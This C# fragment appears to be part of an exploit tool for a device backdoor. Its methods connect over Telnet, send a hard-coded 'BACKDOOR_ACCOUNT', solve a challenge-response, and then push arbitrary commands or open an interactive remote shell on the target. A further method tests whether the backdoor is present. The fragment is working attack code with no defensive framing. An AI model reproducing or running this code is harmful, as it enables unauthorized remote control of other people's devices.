public bool SendCommands(string[] commands, int delay = 0) { try { TelnetClient client = new TelnetClient(ip, port); client.Write(BACKDOOR_ACCOUNT); for (int i = 0; i < 5; i++) { client.Read(); } string challengeLine = client.Read(); string response = ComputeResponse(Convert.ToInt32(challengeLine.Substring(challengeLine.IndexOf("N") + 1))); client.Write(response); foreach (string command in commands) { client.Write(command); } Thread.Sleep(delay); return(true); } catch { return(false); } }
public void Shell() { Thread outputThread = null; try { TelnetClient client = new TelnetClient(ip, port); outputThread = new Thread(() => shellOutputThread(client)); client.Write(BACKDOOR_ACCOUNT); for (int i = 0; i < 5; i++) { client.Read(); } string challengeLine = client.Read(); string response = ComputeResponse(Convert.ToInt32(challengeLine.Substring(challengeLine.IndexOf("N") + 1))); client.Write(response); outputThread.Start(); while (true) { client.Write(Console.ReadLine()); skipNextLine = true; } } catch { } finally { try { outputThread.Abort(); } catch { } } }
public bool TestLogin() { try { TelnetClient client = new TelnetClient(ip, port); client.Write(BACKDOOR_ACCOUNT); for (int i = 0; i < 5; i++) { client.Read(); } return(client.Read().StartsWith("challenge: N")); } catch { return(false); } }